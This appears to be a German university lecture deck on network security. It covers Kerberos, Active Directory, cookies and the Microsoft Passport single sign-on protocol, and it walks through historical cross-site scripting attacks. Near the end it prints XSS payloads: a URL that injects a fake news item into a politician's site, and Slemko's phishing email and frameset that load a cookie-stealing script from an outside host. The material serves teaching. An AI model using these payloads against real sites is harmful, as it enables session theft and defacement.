Netzsicherheit 5: Identity Management im WWW Microsoft Passport Prof. Dr.
Das Problem: Schlüsselmanagement OHNE Public-Key.Kryptographie Naiver Ansatz: n(n-1) Schlüssel Needham-Schröder/Kerberos: n Schlüssel 2
Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 3
Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: 2. KDC Client: 3. Client Server: In Version 4 lautet die Nachricht 2: 4
Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: c, s, n 2. KDC Client: 3. Client Server: In Version 4 lautet die Nachricht 2: 5
Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: c, s, n 2. KDC Client: {K c,s, n}k c, {T c,s }K s 3. Client Server: In Version 4 lautet die Nachricht 2: 6
Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: c, s, n 2. KDC Client: {K c,s, n}k c, {T c,s }K s 3. Client Server: {A c }K c,s, {T c,s }K s In Version 4 lautet die Nachricht 2: 7
Kerberos: Direkte Authentifizierung KDC 1 2 Client 3 Server 1. Client KDC: c, s, n 2. KDC Client: {K c,s, n}k c, {T c,s }K s 3. Client Server: {A c }K c,s, {T c,s }K s In Version 4 lautet die Nachricht 2: {K c,s, n, {T c,s }K s }K c 8
Kerberos: Direkte Authentifizierung Quelle: John T. Kohl, B. Clifford Neuman, Theodore Y. Ts o, The Evolution of the Kerberos Authentication Service. Proc. 1991 EurOpen Conference, Tromsø, Norway. Idee: Generiere ein wieder verwendbares Ticket, um das Key Distribution Center (KDC) zu entlasten. Das Ticket T c,s enthält: ID c K c,s t START, t EXPIRES alles verschlüsselt mit Ks, dem gemeinsamen symmetrischen Schlüssel von KDC und S Achtung: Der Schlüsselserver S aus dem Needham-Schroeder- Prot. heißt jetzt KDC (analog A->C, B->S). 9
Kerberos: Direkte Authentifizierung Funktionsweise: In der Grundform analog zu Needham- Schroeder 1. Nachricht: identisch 2. Nachricht: identisch in v4, leicht modifiziert in v5 (bis auf das Ticket-Konzept) 3. Nachricht: neu hinzugekommen ist ein Authentisator, der einen verschlüsselten Zeitstempel enthält Vorteil: Bei wiederholter Authentifizierung von C beim gleichen Server S zwischen t START und t EXPIRES muss nur die Nachricht 3 mit neu generiertem Authentisator gesendet werden. (Entlastung des KDC.) Vorteil gegenüber Zertifikaten: K c kann aus einem Passwort generiert werden (z.b. im Internetcafé) 10
Kerberos: Authentifizierung mit TGS KDC TGS 1 2 3 4 Client 5 Server 1. Client KDC: c, tgs, n 2. KDC Client: {K c,tgs, n}k c, {T c,tgs }K tgs 3. Client TGS: {A c } K c,tgs, {T c,tgs }K tgs, s, n 4. TGS Client: 5. Client Server: 11
Kerberos: Authentifizierung mit TGS KDC 1 2 3 Client 4 TGS 5 Server 1. Client KDC: c, tgs, n 2. KDC Client: {K c,tgs, n}k c, {T c,tgs }K tgs 3. Client TGS: {A c } K c,tgs, {T c,tgs }K tgs, s, n 4. TGS Client: {K c,s, n}k c,tgs, {T c,s }K s 5. Client Server: {A c }K c,s, {T c,s }K s 12
Kerberos: Zusätzliches Ticket Ziele: Geheimer gemeinsamer Schlüssel K c zwischen Client und KDC soll besser geschützt werden Authentisierung soll für Nutzer transparent sein Lösung: Einführung eines zusätzlichen Tickets und eines Zwischenschrittes K c wird nur einmal eingesetzt, um ein Ticket Granting Ticket (TGT) zu erhalten, danach wird er gelöscht Für weitere Authentifizierungen wird nur noch der temporäre Schlüssel K c,tgs benötigt Nachrichten 2 und 4 sowie 3 und 5 haben die gleiche Struktur 13
Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 14
Kerberos v5 und MS Active Directory 15
Kerberos v5 und MS Active Directory Domäne Eine Gruppe von Computern, die Teil eines Netzwerkes sind und eine gemeinsame Verzeichnisdatenbank nutzen. Eine Domäne wird als eine Einheit mit gemeinsamen Regeln und Verfahren verwaltet. Jede Domäne hat einen eindeutigen Namen. Eine Active Directory-Domäne ist eine von einem Administrator eines Windows-Netzwerkes definierte Gruppierung von Computern. Diese Computer verwenden mit anderen Domänen eine gemeinsame Verzeichnisdatenbank, gemeinsame Sicherheitsrichtlinien und Sicherheitsbeziehungen. Eine Active Directory-Domäne bietet Zugriff auf die zentralisierten Benutzerkonten und Gruppenkonten, die vom Domänenadministrator verwaltet werden. Eine Active Directory- Gesamtstruktur setzt sich aus einer oder mehreren Domänen zusammen, von denen sich jede über mehr als einen physischen Standort erstrecken kann. Eine DNS-Domäne ist jede Struktur oder Teilstruktur innerhalb des DNS-Namespace. Obwohl die Namen von DNS-Domänen häufig mit denen von Active Directory-Domänen übereinstimmen, dürfen DNS- Domänen nicht mit Active Directory-Domänen verwechselt werden. Siehe auch: Active Directory; DNS (Domain Name System) 16
Kerberos v5 und MS Active Directory Active Directory Der Verzeichnisdienst, der Informationen zu Objekten in einem Netzwerk speichert und diese Informationen Benutzern und Netzwerkadministratoren zur Verfügung stellt. Active Directory ermöglicht Netzwerkbenutzern über einen einzigen Anmeldevorgang den Zugriff auf zugelassene Ressourcen im gesamten Netzwerk. Es stellt Netzwerkadministratoren eine anschauliche, hierarchische Ansicht des Netzwerkes und einen einzigen Verwaltungspunkt für alle Netzwerkobjekte zur Verfügung. Schlüsselverteilungscenter (Key Distribution Center, KDC) Ein Netzwerkdienst, der Sitzungstickets und temporäre Sitzungsschlüssel bereitstellt, die im Kerberos V5-Authentifizierungsprotokoll verwendet werden. In Windows 2000 und Windows XP wird das Schlüsselverteilungscenter als privilegierter Prozess auf allen Domänencontrollern ausgeführt. Siehe auch: Kerberos V5-Authentifizierungsprotokoll;... Domänencontroller Ein Computer in einer Windows-Domänenumgebung, auf dem Active Directory ausgeführt wird und der den Benutzerzugriff auf ein Netzwerk verwaltet. Zu seinen Aufgaben zählen die Verwaltung von Anmeldung, Echtheitsbestätigung und Zugriff auf Verzeichnisse und freigegebene Ressourcen. 17
Kerberos v5 und MS IPSec 18
Kerberos v5 und MS IPSec 19
Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 20
HTTP und Cookies Architektur des WWW Client-Server-Architektur Statische Webseiten: HTTP-Anfrage (mit URL) Browser HTTP-Anwort (Header+Datei) Web- Server Dateisystem: *.html 21
HTTP und Cookies Client (Browser) ist für die Darstellung verantwortlich Das gleiche *.html-dokument kann auf verschiedenen Browsern unterschiedlich aussehen. Darstellung verschiedener Dateitypen durch Browser, Plug-In oder Helper Server sendet im HTTP-Header den MIME-Typ der Datei, die übertragen wird Anhand dieses MIME-Typs kann der Browser entscheiden, wie die Datei dargestellt werden soll: text/plain, text/html: Browser image/jpeg, video/mpeg: Plug-In. Plug-Ins laufen innerhalb des Browsers ab, und haben daher Zugriff auf das aktuelle Fenster. Sie werden nur bei Bedarf geladen. application/pdf, application/msword: Helper-Anwendung. Sie laufen außerhalb des Browsers ab. 22
HTTP und Cookies Kommunikation aus Sicht des Browsers 1. User tippt http://www.nds.rub.de/schwenk/index.html 2. Browser erfragt bei einem Domain Name Server (DNS) die IP- Adresse zu www.nds.rub.de: 134.147.101.34 3. Browser baut eine TCP-Verbindung zu 134.147.101.34 Port 80 auf 4. Browser sendet ein http-kommando über diese TCP- Verbindung: Get schwenk/index.html HTTP/1.0 User-agent: Netscape 4.7 Accept: text/plain Accept: text/html Accept: image/gif 23
HTTP und Cookies 5. Server antwortet über die TCP-Verbindung mit: Einer Statuszeile (Erfolgsmeldung oder Fehler) Metainfomation (Beschreibung der nachfolgenden Information) Einer Leerzeile Der Information selbst HTTP/1.0 Status 200 Document follows Server: Apache/1.8 Date: Mon, 14 Mai, 2001 11:23:22 GMT Content-type: text/html Content-length: 5280 Last-modified: Fri, 11 Mai, 2001 03:12:12 GMT <html>... </html> 24
HTTP und Cookies Schritt 1-5 wird für jede HTTP-Anfrage wiederholt. Insbesondere muß für jede HTTP-Anfrage eine neue TCP- Verbindung aufgebaut werden Verbesserte Performance durch Persistenz der TCP- Verbindung in HTTP 1.1 25
HTTP und Cookies Uniform Ressource Locators (URLs) bestehen aus drei Teilen Protokoll (z.b. http) DNS-Name des Servers (z.b. www.hgi.rub.de) Pfad/Filename (/pub/default.html) Beispiele: http://www.nds.rub.de/lehre/vorlesungen/systemsicherheit/ Systemsicherheit_7.pdf ftp://ftp.daco.org/scripte/vorlesung.pdf file:///c /FTP/Java_Tutorial/book.html mailto:joerg.schwenk@ruhr-uni-bochum.de telnet://www.w3.org:80 Für http-urls gibt es als optionalen Teil den Query-String zur Übertragung von Daten http://reiseauskunft.bahn.de/bin/query.exe/dn?ld=212.199& seqnr=4&ident=69.014558199.1226909703&rt=1&ok#focus 26
HTTP und Cookies HTTP ist ein verbindungsloses Protokoll Verschiedene WWW-Anfragen vom gleichen Client stehen für den Server in keinem Zusammenhang Perfekt geeignet für das ursprüngliche Hypertext-Internet Problematisch für Webshops: Wie merke ich mir, welche Produkte der Kunde beim letzten Besuch in seinen Einkaufswagen gelegt hat? Netscape-Lösung: Cookies ( \netscape\users\user1\cookies.txt) Beim ersten Besuch eines Browsers bei einem Server legt der Server beim Browser einen eindeutigen Wert ab: Ein Cookie ( Plätzchen ) Der Server speichert alle Variablen, die beim ersten Besuch des Kunden gesetzt wurden, in einer Datenbank ab. Referenz auf diesen DB-Eintrag ist das Cookie. Wenn der Client den Server oder die Domain zum zweiten mal besucht, liefert er diesen Cookie mit ab, und der Server weiß wieder, mit wem er redet. 27
HTTP und Cookies 28
HTTP und Cookies Domain Path Content Expires Secure toms-casino.com / CustomerID=497793521 15-10-02 17:00 Yes toms-casino.com Cookie wird an alle Server dieser Domain zurück gesendet. (Weitere Einschränkung: Gesetzt werden muss dieses Cookie von einem Server aus dieser Domain.) / Cookie kann für alle Files im WWW-Zweig des Servers verwendet werden CustomerID=497793521 Identifiziert einen Besucher des Casinos eindeutig 15-10-02 17:00 Da dieses Datum in der Vergangenheit liegt, wird das Cookie demnächst vom Browser gelöscht YES Browser darf das Cookie nur an einen sicheren Server zurücksenden 29
HTTP und Cookies Domain Path Content Expires Secure joes-store.com / Cart=1-00501;2-13721 15-10-02 17:00 No Cart=1-00501;2-13721 Die Variable Cart enthält hier den Inhalt des Einkaufswagens, in Form von eindeutigen Produktnummern. Diese Liste wird also im Browser gespeichert, was den Server entlastet. Genug Platz ist dafür da, da ein Cookie bis zu 4 KB groß werden darf. No Browser darf das Cookie an jeden Server zurücksenden 30
HTTP und Cookies Domain Path Content Expires Secure aportal.com / Prefs=Stk:SUNW;Spt:1860M 15-10-02 17:00 No Prefs=Stk:SUNW;Spt:1860M Die Variable Prefs speichert die Präferenzen eines Kunden für ein bestimmtes Internet- Portal. Mit der genannten Festlegung werden dem Kunden immer die Börsenwerte der Firma SUN und die Ergebnisse der Fußballspiele von 1860 München angezeigt. 31
HTTP und Cookies Domain Path Content Expires Secure sneaky.com / UserID=8934982374 31-12-10 23:59 No UserID=8934982374 Die Variable UserID wird von der Firma Sneaky dazu verwendet, Daten über den Kunden zu sammeln. Dies kann z.b. dadurch geschehen, dass ein Werbebanner (.doubleclick.net) auf vielen Seiten im Internet platziert wird. Dieses Werbebanner muss jeweils von einem Server aus der Domain sneaky.com abgerufen werden, und so wird das Cookie regelmäßig an die Firma gesendet. Diese kann sehen, von welcher Webseite aus das Banner aufgerufen wurde, und so ein Nutzerprofil erstellen. (Im Extremfall reicht dazu eine Banner, das 1*1 Pixel groß ist!) 32
HTML-Formulare <html> <head> <title> Anmeldeformular Prüfungen </title> </head> <body> <h1> Anmeldeformular Prüfungen </h1> <form ACTION="http://www.nds.rub.de/lehre/anmeldung.php" method=post> <p> Name <input name="student" size=46> </p> <p> E-Mail <input name="email" size=30> </p> <p> Matrikelnummer <input name="matrnr" size=20> Studienbeginn (Jahr) <input name="beginn" size=4> Master <input name="studiengang" type=radio value="master"> Diplom <input name="studiengang" type=radio value="diplom"> </p> <p> Systemsicherheit <input name="pruefung1" type=checkbox> </p> <p> Netzsicherheit <input name="pruefung2" type=checkbox> </p> <p><input type=submit value="anmelden!!"> </p> Viel Erfolg! </form> </body> </html> 33
HTML- Formulare 34
HTML-Formulare GET-Methode Eingaben werden als Query-String an die URL angehängt Beispiel (Google): GET /search?q=diploma+supplement&ie=iso-8859-1&hl=de&btng=google+suche&meta=cr%3dcountryde Vorteil: Anfrage kann als Bookmark gespeichert werden Problem: Bei Eingabe von Username/Passwort ist das Passwort in der History des Browsers sichtbar POST-Methode Eingaben werden als String im Body des http-requests an den Server übertragen Beispiel (zu Tanenbaum): customer=joerg+schwenk&address=universitaetsstr+150&city=bochum& state=nrw&country=de&cardno=1234567890&expires=7/07& cc=mastercard&product=cheap&express=on 35
HTML: Versteckte Formularfelder HTML-Formulare können versteckt werden ( type=hidden ), dann werden sie nicht angezeigt HTML-Formulare können mit Default-Werten vorbelegt werden Das Senden der Daten kann per Javascript erfolgen, und Javascript wird über ein Browser-Event aktiviert, z.b. durch onload 36
HTTP Redirection HTTP 1.1, spezifiziert in RFC 2616, beschreibt Redirection wie folgt: 10.3 Redirection 3xx This class of status code indicates that further action needs to be taken by the user agent in order to fulfill the request. The action required MAY be carried out by the user agent without interaction with the user if and only if the method used in the second request is GET or HEAD. A client SHOULD detect infinite redirection loops, since such loops generate network traffic for each redirection. 300 Multiple Choices 301 Moved Permanently 303 See Other 37
Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 38
MS Passport: Wozu? 39
How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form Userid (email address) and password(using SSL) The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 40
How does MS Passport work? User CERN Web Server [WEBx, WEBAxx] Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 41
How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 42
How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 43
How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 44
How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 45
How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 46
How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 47
How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form Userid (email address) and password(using SSL) The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 48
How does MS Passport work? The user from out of CERN wants to access a protected page/service User CERN Web Server [WEBx, WEBAxx] The user s request is redirected to the Passport sign-in page (and it pass the Site ID, Its public key and the return URL on the query string) Login Form Userid (email address) and password(using SSL) The login server checks the Site ID and return URL. They must match a server registration in the login server Quelle: Dmitry Nikitov & Sébastien Delmas, Should We Use MS.NET Passport for User Authentication? CERN, Information Technology Division, Internet Services Group, August 4th, 2002 49
MS Passport: Technologien Kerberos Ist die Basis von MS Passport, Nachrichten werden durch Cookies, HTML-Formulare oder Query-Strings in URLs abgebildet. Cookies Die einzigen Nachrichten, die in HTTP persistent gespeichert werden, sind Cookies. Query String Datenteil der URL HTML-Formulare Vorbelegte Daten werden mit GET oder POST übertragen. HTTP Redirection Transparente Umleitung des Nutzer auf den MS Passport-Server. Der Kunde merkt davon (fast) nichts, es erscheint fast der gleiche Dialog wie beim Login auf einem Webserver. 50
MS Passport: Erstes Sign-In Passport Login Server 2 Client 1 bank.de Schritt 1 Request HTTP GET auf geschützte Seite (keine Cookies) Response 2 51
MS Passport: Erstes Sign-In Passport Login Server 2 Client 1 bank.de Schritt 1 2 Request HTTP GET auf geschützte Seite (keine Cookies) HTTP GET auf PP Login Server (bank.de-infos im QS) Response 303 HTTP Redirect zum Passport Login Server (bank.de ID, ReturnURL, TimeWindow,... im Query String (QS) der URL) 52
MS Passport: Erstes Sign-In Passport Login Server 2 Client 1 bank.de Schritt 1 2 Request HTTP GET auf geschützte Seite (keine Cookies) HTTP GET auf PP Login Server (bank.de-infos im QS) Response 303 HTTP Redirect zum Passport Login Server (bank.de ID, ReturnURL, TimeWindow,... im Query String (QS) der URL) 200 OK, Sign In Form 53
MS Passport: Erstes Sign-In Passport Login Server 3 Client bank.de Schritt 3 Request HTTPS POST auf PP Login Server (enthält Username / Passwort) Response 54
MS Passport: Erstes Sign-In Passport Login Server 3 Client bank.de Schritt Request Response 3 HTTPS POST auf PP Login Server (enthält Username / Passwort) 303 HTTP Redirect zurück zu bank.de, falls Authentifizierung positiv. Übergibt folgende Werte (als Cookie, Query-String oder als Formularfeld): Ticket granting cookie (verschl. mit central key ) Ticket cookie (verschl. mit bank.de-schlüssel) Profile cookie (verschl. mit bank.de-schlüssel) 55
MS Passport: Erstes Sign-In Passport Login Server Client 4 bank.de Schritt 4 Request HTTP GET auf geschützte Seite (sendet Ticket Cookie und Profile Cookie für bank.de als Webobjekt) Response 56
MS Passport: Erstes Sign-In Passport Login Server Client 4 bank.de Schritt Request Response 4 HTTP GET auf geschützte Seite (sendet Ticket Cookie und Profile Cookie für bank.de im http-header) Passport Manager Software entschlüsselt Ticket cookie und Profile cookie (verschl. mit bank.de-schlüssel), 200 OK mit Inhalt der aufgerufenen Webseite schreibt Site-Cookie (wichtig für Logout)) und setzt die anderen Cookies (Persistenz!) 57
MS Passport: Weiteres Sign-In Passport Login Server 2 Client 1 auto.de Schritt 1 2 Request HTTP GET auf geschützte Seite (keine spez. Cookies) HTTP GET auf PP Login Server (auto.de-infos im QS); sendet Ticket granting cookie Response 303 HTTP Redirect zum Passport Login Server (auto.de ID, ReturnURL, TimeWindow,... im QS) 303 HTTP Redirekt zu auto.de (mit ticket und profile cookies, verschlüsselt mit auto.de- Schlüssel) 58
MS Passport: Weiteres Sign-In Passport Login Server Client 3 auto.de Schritt 3 Request HTTP GET auf geschützte Seite (sendet Ticket Cookie und Profile Cookie für auto.de im QS) Response Passport Manager Software entschlüsselt Ticket cookie und Profile cookie (verschl. mit auto.de-schlüssel), 200 OK mit Inhalt der aufgerufenen Webseite. schreibt weiteres Site-Cookie (wichtig für Logout) 59
MS Passport: Veraltetes Cookie Passport Login Server 2 Client 1 bank.de Schritt 1 2 Request HTTP GET auf geschützte Seite (mit Auth und Profile Cookies) HTTP GET auf PP Login Server (mit Auth und Profile Cookies für bank.de) Response 303 HTTP Redirect zum Passport Login Server (Ticket liegt nicht mehr im bank.de-zeitfenster) 303 HTTP Redirekt zu PP Login Server (Ticket Cookie muss mit Ticket Granting Cookie aufgefrischt werden) 60
MS Passport: Veraltetes Cookie Passport Login Server 3 Client 4 bank.de Schritt 3 4 Request HTTPS POST auf PP Login S. (mit Ticket Granting Cookie) HTTP GET auf bank.de (mit Cookies für bank.de) Response 303 HTTP Redirect zu bank.de (Setzt passport.com Cookies, neue bank.de- Cookies verschlüsselt im QS) 200 OK mit Inhalt der aufgerufenen Webseite 61
MS Passport: Single Sign-Out Beim Sign-Out werden alle Cookies für alle Sites ungültig MS PP-Server muss dies den Partnersites mitteilen. 62
Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 63
XSS mit iframe
XSS mit iframe http://www.wolfgang-schaeuble.de/?search=%3c/strong%3e%3c/div%3e%3cdiv%20style=position:absolute;left:8pt;top:0pt; backgroundcolor:white;width:95%;%3e24.05.2008%3c/div%3e%3cdiv%3e%3ch2%3ebundesinnen minister%20tritt%20zur%fcck%3c/h2%3e%3cp%3ew%e4re%20eine%20meldung,%20 die%20sicher%20viele%20gerne%20lesen%20w%fcrden.%20allerdings%20handelt%20e s%20sich%20nur%20um%20eine%20cross-site-scripting- Schwachstelle%20im%20der%20Webseite%20des%20Politikers,%20der%20gerne%20die %20Online- Durchsuchung%20einf%FChren%20m%F6chte.%20Scherzbolde%20k%F6nnen%20dadurc h%20beliebige%20meldungen%20unter%20der%20dom%e4ne%20wolfgangschaeuble.de%20erstellen.%3c/p%3e%3cp%3eder%20fehler%20liegt%20in%20der%20 Suchfunktion%20des%20Internetauftritts,%20die%20HTML- %20und%20Skriptcode%20in%20Anfragen%20nicht%20ausfiltert.%20Gr%FC%DFe%20a n%20dmk.%3c/p%3e%3c/div%3e%3cdiv%20style=display:none%3e%3cstrong%3e&i d=38&no_cache=1 Quelle: http://www.heise.de/security/cross-site-scripting-vereint-schaeuble-und-die-linke--/news/meldung/108557
Beispiel: Cross-Site-Scripting Beispiel ebay Phisher erstellt Angebot Bettet im Angebot bösartigen Code ein Code kompromittiert Bieten- Button Benutzer wird zur Eingabe seiner Zugangsdaten aufgefordert, wobei diese Seite vom Angreifer stammt Benutzer gibt seine Zugangsdaten preis Quelle: http://www.heise.de/security/ihr-ebay-passwort-3-2-1-meins-update--/news/meldung/54272 66
Einbettung <SCRIPT Language=JavaScript> breite = 35; function f(text) { document.writeln(text); } </SCRIPT> <FORM> <INPUT Type=text Size=&{breite};><BR> <INPUT Type=button onclick="confirm('ok drücken!')" Value=&{s=0; for(i=1; i<=5000; i++) s+=i;};> </FORM> <HR Align=left Width=&{10*breite;};> <A Href="javascript:alert('Hallo!')">Sag Hallo</A> Markup Entity Attribut Entity Entity URL 67
Einbettung 68
Browsermodell Javascript manipuliert seine/ihre Umgebung mit Hilfe von vordefinierten Objekten Das rechte Bild zeigt den Anfang dieser Objekthierarchie Objektreferenzen: Selfhtml Unterschiede bei NS und IE W3C standardisiert DOM Quelle: www20.pair.com/doozer/gu ides/ javascript/js_014.html 69
Browsermodell Window: das aktuellefenster parent: das übergeordnete Fenster eines Frameset; muss ein Frameset sein top: die Wurzel des Fensterbaumes eines Frameset; bei nur einem Frame das Fenster selbst self: identisch mit window frames[i]: i-ter Frame eines Frameset 70
Browsermodell history: die Browser- Historie der zuvor besuchten Seiten (wichtig für Forward/Back) location: die URL, ggf. einschließlich des Query- Strings document: das HTML- Dokument title: Titel des Dokuments anchors[i]: i-ter Anker forms[i]: i-tes Formular links[i]: i-ter Hyperlink 71
5. Browsermodell Beispiel window-methoden: alert(), confirm(), prompt() <SCRIPT Language=JavaScript> alert("alarmfenster"); l = confirm("bestätigungsfenster"); document.writeln(l); x = prompt("eingabefenster", "Nein"); document.writeln(x); </SCRIPT> 72
5. Browsermodell Beispiel window-methoden: open(), close() <FORM> <INPUT Type=button Value="Öffne Fenster" onclick=oeffne()> </FORM> <SCRIPT Language=JavaScript> function oeffne() { var attr = "resizable=yes,width=300,height=200"; var x = window.open(null, null, attr); // leeres Fenster öffnen x.document.open(); x.document.write("<h4 Align=center>Titel</H4>\n"); x.document.write("<form><input Type=button Value=CloseIT"); x.document.write( " onclick=window.close()></form>\n"); x.document.close();} </SCRIPT> 73
5. Browsermodell Beispiel Frames: setinterval() <FRAMESET Cols="250,*" Border=4> <FRAME Name=links Src=links.html> <FRAME Name=rechts Src=empty.html> </FRAMESET> <!--./frames/empty.html --> <BODY Bgcolor=white> 74
5. Browsermodell Beispiel Frames <!--./frames/links.html --> <FORM> <INPUT Type=text Name=end Value=1> <INPUT Type=text Name=tor Value=1> <INPUT Type=button Name=los Value=Loos! onclick=rechne(this)> </FORM><PRE> <SCRIPT Language=JavaScript> function rechne(t) { var a = parsefloat(t.form.end.value) var b = parsefloat(t.form.tor.value); with (parent.rechts.document) { open(); writeln("a = " + a + "<BR>b = " + b); writeln("<br>summe = " + (a + b)); close();} } </SCRIPT> 75
5. Browsermodell Beispiel Formulare <FORM Name=meinformular Method=GET Action=eins.html> <INPUT Type=button Name=knopf Value=Knopf> <INPUT Type=text Name=text Value=42> <SELECT Name=wahl> <OPTION>eins <OPTION>zwei</SELECT> <INPUT Type=submit Name=submit Value=Los> </FORM> <SCRIPT Language=JavaScript> document.meinformular.onsubmit = function() { return confirm("wirklich losschicken?"); } </SCRIPT> 76
Gliederung 1. Kerberos 2. Kerberos v5 und Microsofts Active Directory 3. HTTP und Cookies 4. MS Passport 5. Javascript 6. XSS-Angriff von Marc Slemko 7. Ausblick: MS Cardspace und SAML 77
MS Passport: CSS-Angriff von Marc Slemko CSS: Cross-Site Scripting Quelle: Microsoft Passport to Trouble Marc Slemko <marcs@znep.com> Last Modified: $Date: 2001/11/05 03:03:39 $ $Revision: 1.18 $ http://alive.znep.com/~marcs/passport/ 78
MS Passport: CSS-Angriff von Marc Slemko Schritt 1: Senden einer E-Mail and die Hotmail-Adresse des Opfers. From: Jennifer Sparks <xxx@xxx.xxxx> To: opfer@hotmail.com Content-type: text/html Subject: Jack said I should email you... Hi Ted. Jack said we would really hit it off. Maybe we can get together for drinks sometime. Maybe this friday? Let me know. <BR> <BR> <HR> You can see the below for demonstration purposes. In a real exploit, you wouldn't even see it happening. <HR> <BR> <_img foo="<iframe width='80%' height='400' src='http://alive.znep.com/~marcs/passport/grabit.html'>< /IFRAME>" > 79
MS Passport: CSS-Angriff von Marc Slemko Schritt 1: Senden einer E-Mail and die Hotmail-Adresse des Opfers. alive.znep.com hotmail.com opfer@hotmail.com passport.com 80
MS Passport: CSS-Angriff von Marc Slemko Schritt 2: Einloggen des Opfers bei Hotmail. alive.znep.com 1 2 5 3 hotmail.com opfer@hotmail.com 4: Ticket granting Cookie für passport.com passport.com/ppsecure 81
MS Passport: CSS-Angriff von Marc Slemko Schritt 3: Öffnen der E-Mail und Laden des IFrame mit der Datei grabit.html. <HTML><HEAD><TITLE>Wheeeee</TITLE> <frameset rows="200,200"> <FRAME NAME="me1" SRC="https://register.passport.com/ppsecure/404please"> <FRAME NAME="me2" SRC="https://register.passport.com/reg.srf? ru=https://ww.passport.com/%22%3e%3cscript%20 src='http://alive.znep.com/~marcs/passport/snarf.js %3Ej%3C/SCRIPT%3E%3Flc%3D1033"> </FRAMESET> </HTML> 82
MS Passport: CSS-Angriff von Marc Slemko Schritt 3: Öffnen der E-Mail und Laden des IFrame mit der Datei grabit.html. alive.znep.com 2: Laden von grabit.html 1: Laden der E-Mail hotmail.com opfer@hotmail.com passport.com 83
MS Passport: CSS-Angriff von Marc Slemko Schritt 3: Öffnen der E-Mail und Laden des IFrame mit der Datei grabit.html. http://www.hotmail.com 1 2 alive.znep.com From: Jennifer Sparks <xxx@xxx.xxxx> Hi Ted.. grabit.html hotmail.com opfer@hotmail.com passport.com 84
MS Passport: CSS-Angriff von Marc Slemko Schritt 4: Laden von ppsecure/404please und snarf.js. <HTML><HEAD><TITLE>Wheeeee</TITLE> <frameset rows="200,200"> <FRAME NAME="me1" SRC="https://register.passport.com/ppsecure/404please"> <FRAME NAME="me2" SRC="https://register.passport.com/reg.srf? ru=https://ww.passport.com/%22%3e%3cscript%20 src='http://alive.znep.com/~marcs/passport/snarf.js %3Ej%3C/SCRIPT%3E%3Flc%3D1033"> </FRAMESET> </HTML> 85
